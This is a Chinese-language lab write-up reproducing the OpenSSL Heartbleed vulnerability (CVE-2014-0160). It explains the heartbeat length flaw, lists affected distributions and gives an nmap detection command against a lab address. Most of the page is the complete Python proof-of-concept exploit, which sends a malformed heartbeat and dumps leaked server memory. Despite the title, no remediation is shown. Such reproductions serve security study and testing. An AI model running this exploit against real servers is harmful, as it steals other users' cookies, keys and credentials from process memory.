openssl（CVE-2014-0160）心脏出血漏洞复现_cve-2014-0160漏洞修复

目录

#漏洞简介

#漏洞原理

#漏洞检测

#漏洞利用

#漏洞简介

心脏出血是openssl库中的一个内存漏洞，攻击者利用这个漏洞可以服务到目标进程内存信息，如其他人的cookie等敏感信息。

#漏洞原理

心脏出血漏洞主要通过攻击这模拟向服务器端发送自己编写的heartbeat心跳数据包，主要是heartbeatmessage的长度与payload的length进行匹配，若payload长度大于heartbeatmessage的length，则会在服务器返回的response响应包中产生数据溢出，造成有数据泄露。

#一些带有潜在易受攻击的 OpenSSL 版本的操作系统发行版：

• Debian Wheezy（稳定），OpenSSL 1.0.1e-2+deb7u4
• Ubuntu 12.04.4 LTS，OpenSSL 1.0.1-4ubuntu5.11
• CentOS 6.5、OpenSSL 1.0.1e-15
• Fedora 18，OpenSSL 1.0.1e-4
• OpenBSD 5.3（OpenSSL 1.0.1c 2012 年 5 月 10 日）和 5.4（OpenSSL 1.0.1c 2012 年 5 月 10 日）
• FreeBSD 10.0 - OpenSSL 1.0.1e 2013 年 2 月 11 日
• NetBSD 5.0.2 (OpenSSL 1.0.1e)
• OpenSUSE 12.2 (OpenSSL 1.0.1c)

具有不易受攻击版本的操作系统分发：

• Debian Squeeze (oldstable)，OpenSSL 0.9.8o-4squeeze14
• SUSE Linux 企业服务器
• FreeBSD 8.4 - OpenSSL 0.9.8y 2013 年 2 月 5 日
• FreeBSD 9.2 - OpenSSL 0.9.8y 2013 年 2 月 5 日
• FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)
• FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC)

#漏洞检测

环境启动之后

打开浏览器进行访问

如果检测一下是否为heartbleed漏洞可以通过通过nmap命令使用script ssl-heartbleed.nse板块进行扫描

nmap -sV -p 8443 -script ssl-heartbleed.nse 192.168.217.134

#漏洞利用

可以通过msf实现对该漏洞的利用。通过search openssl查看相关漏洞模块

使用该辅助模块，然后通过options设置好相关参数，设置完之后就运行

也可以通过环境自带的exp进行利用

使用python命令实现对其的利用

python ssltest.py 192.168.217.134

 exp里的默认端口是443，我这里需要进行修改，不然就会显示拒绝连接

修改为8443之后就成功了

 完整exp

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
 
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')
 
def hexdump(s: bytes):
    for b in range(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % c for c in lin)
        pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
        print('  %04x: %-48s %s' % (b, hxdat, pdat))
    
    print("")
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = b''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print('Unexpected EOF receiving record header - server closed connection')
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print('Unexpected EOF receiving record payload - server closed connection')
        return None, None, None
    print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print('No heartbeat response received, server likely not vulnerable')
            return False
 
        if typ == 24:
            print('Received heartbeat response:')
            hexdump(pay)
            if len(pay) > 3:
                print('WARNING: server returned more data than it should - server is vulnerable!')
            else:
                print('Server processed malformed heartbeat, but did not return any extra data.')
            return True
 
        if typ == 21:
            print('Received alert:')
            hexdump(pay)
            print('Server returned error, likely not vulnerable')
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('Connecting...')
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print('Sending Client Hello...')
    sys.stdout.flush()
    s.send(hello)
    print('Waiting for Server Hello...')
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print('Server closed connection without sending Server Hello.')
            return
        # Look for server hello done message.
        if typ == 22 and pay[0] == 0x0E:
            break
 
    print('Sending heartbeat request...')
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()